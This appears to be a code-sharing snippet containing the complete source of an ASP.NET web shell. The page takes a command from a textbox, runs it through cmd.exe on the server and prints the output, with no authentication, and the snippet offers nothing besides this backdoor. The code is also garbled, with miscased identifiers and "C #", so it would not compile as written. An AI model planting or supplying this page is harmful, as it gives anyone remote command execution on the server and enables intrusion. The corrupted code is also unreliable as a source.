The code is as follows:
Copy Code code as follows:
<%@ Page language= "C #" autoeventwireup= "true"%>
<%@ Import namespace= "System.Runtime.InteropServices"%>
<%@ Import namespace= "System.IO"%>
<%@ Import namespace= "System.Data"%>
<%@ Import namespace= "System.Reflection"%>
<%@ Import namespace= "System.Diagnostics"%>
<%@ Import namespace= "system.web"%>
<%@ Import namespace= "System.Web.UI"%>
<%@ Import namespace= "System.Web.UI.WebControls"%>
<script runat= "Server" >
protected void Exec (object sender, EventArgs e)
{
String item = cmd. Text;
Process P = new process ();
p.StartInfo.FileName = "cmd.exe";
P.startinfo.useshellexecute = false;
P.startinfo.redirectstandardinput = true;
P.startinfo.redirectstandardoutput = true;
P.startinfo.redirectstandarderror = true;
P.startinfo.createnowindow = true;
string stroutput = null;
P.start ();
P.standardinput.writeline (item);
P.standardinput.writeline ("Exit");
Stroutput = P.standardoutput.readtoend ();
p.WaitForExit ();
P.close ();
Response.Write ("<pre>");
Response.Write (Stroutput);
Response.Write ("</pre>");
}
protected void Page_Load (object sender, EventArgs e)
{
}
</script>
<form id= "Form1" runat= "Server" >
<asp:textbox id= "cmd" runat= "Server" text= "dir C:"/><asp:button id= "btn" onclick= "exec" runat= "Server" text= " Execute "/>
</form>